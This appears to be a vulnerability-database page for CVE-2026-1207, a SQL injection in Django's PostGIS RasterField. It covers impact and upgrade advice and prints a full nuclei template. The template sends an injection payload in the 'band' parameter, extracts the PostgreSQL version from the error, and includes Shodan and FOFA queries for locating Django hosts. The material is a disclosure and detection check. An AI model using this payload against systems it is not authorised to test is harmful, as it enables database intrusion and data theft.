Django RasterField - SQL Injection

highseverity

8.1CVSS score

12.8%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Django < 6.0.2, < 5.2.11, and < 4.2.28 contains a SQL injection caused by improper sanitization of the band index parameter in RasterField on PostGIS, letting remote attackers inject SQL, exploit requires crafted input.

Impact

Remote attackers can execute arbitrary SQL commands, potentially leading to data disclosure or modification.

Fix

Upgrade to versions 6.0.2, 5.2.11, 4.2.28 or later.

How to confirm it

Send: GET {{BaseURL}}/?band=1)%20AND%201=CAST((SELECT%20version())%20AS%20INT)-- ; GET {{BaseURL}}/api/raster/search/?band=1)%20AND%201=CAST((SELECT%20version())%20AS%20INT)--
Positive when: status_code == 500 and contains_all(body, "invalid input syntax for type integer", "PostgreSQL")

Run it with nuclei: nuclei -id CVE-2026-1207 -u <target>

The full check

id: CVE-2026-1207

info:
  name: Django RasterField - SQL Injection
  author: omarkurt
  severity: high
  description: |
    Django < 6.0.2, < 5.2.11, and < 4.2.28 contains a SQL injection caused by improper sanitization of the band index parameter in RasterField on PostGIS, letting remote attackers inject SQL, exploit requires crafted input.
  impact: |
    Remote attackers can execute arbitrary SQL commands, potentially leading to data disclosure or modification.
  remediation: |
    Upgrade to versions 6.0.2, 5.2.11, 4.2.28 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1207
    - https://www.djangoproject.com/weblog/2026/feb/03/security-releases/
    - https://github.com/django/django/commit/81aa5292967cd09319c45fe2c1a525ce7b6684d8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    cvss-score: 8.1
    cve-id: CVE-2026-1207
    epss-score: 0.12819
    epss-percentile: 0.96322
    cwe-id: CWE-89
    cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: djangoproject
    product: django
    shodan-query: 'django'
    fofa-query: 'app="Django"'
  tags: cve,cve2026,django,sqli,postgis,rasterfield,vuln,unauth,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/?band=1)%20AND%201=CAST((SELECT%20version())%20AS%20INT)--"
      - "{{BaseURL}}/api/raster/search/?band=1)%20AND%201=CAST((SELECT%20version())%20AS%20INT)--"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains_all(body, "invalid input syntax for type integer", "PostgreSQL")'
        condition: and

    extractors:
      - type: regex
        name: postgres_version
        part: body
        group: 1
        regex:
          - 'PostgreSQL ([0-9]+\.[0-9]+)'

References

Use this check only on systems you are authorised to test. Where the data comes from